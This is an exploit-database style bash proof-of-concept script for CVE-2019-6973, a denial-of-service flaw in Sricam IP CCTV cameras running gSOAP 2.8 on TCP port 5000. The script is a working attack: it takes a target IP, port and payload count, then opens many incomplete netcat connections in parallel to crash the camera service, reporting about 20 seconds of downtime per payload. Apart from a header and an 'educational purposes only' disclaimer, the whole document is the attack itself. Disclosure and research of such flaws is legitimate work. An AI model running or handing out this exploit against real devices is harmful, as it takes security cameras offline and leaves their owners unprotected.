Sricam gSOAP 2.8 Denial Of Service

#!/bin/bash

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#
# Exploit Title: Sricam gSOAP 2.8 - Denial of Service
# #!/bin/bash

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#
# Exploit Title: Sricam gSOAP 2.8 - Denial of Service
# Date: 25/01/2019
# Vendor Status: Informed (24/10/2018)
# CVE ID: CVE-2019-6973
# Exploit Author: Andrew Watson
# Contact: https://keybase.io/bitfu
# Software Version: Sricam gSOAP 2.8
# Vendor Homepage: http://www.sricam.com/
# Tested on: Sricam IP CCTV Camera running gSOAP 2.8 on TCP/5000
# PoC Details: Sricam IP CCTV Camera's are vulnerable to denial of service,
# exploitable by sending multiple incomplete requests.
# References: https://github.com/bitfu/sricam-gsoap2.8-dos-exploit
#
# DISCLAIMER: This proof of concept is provided for educational purposes only!
#
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if [ -z "$3" ]; then
echo "#############################################################################"
echo -e "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
echo -e " [*] Usage: $0 <IP_Address> <Port> <#_DoS_Payloads>"
echo "[*] Example: $0 127.0.0.1 5000 10"
echo -e " [!] Each DoS payload sent adds another 20 seconds downtime. "
exit 0
fi

time=$(expr $3 * 20)
echo "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
echo -e " [+] Sending $3 DoS payloads..."
echo "[+] Expected downtime: $time seconds"
for dos in $(seq 1 $3); do
netcat $1 $2 &
done
echo -e " [!] $dos DoS payloads sent to: $1:$2"
echo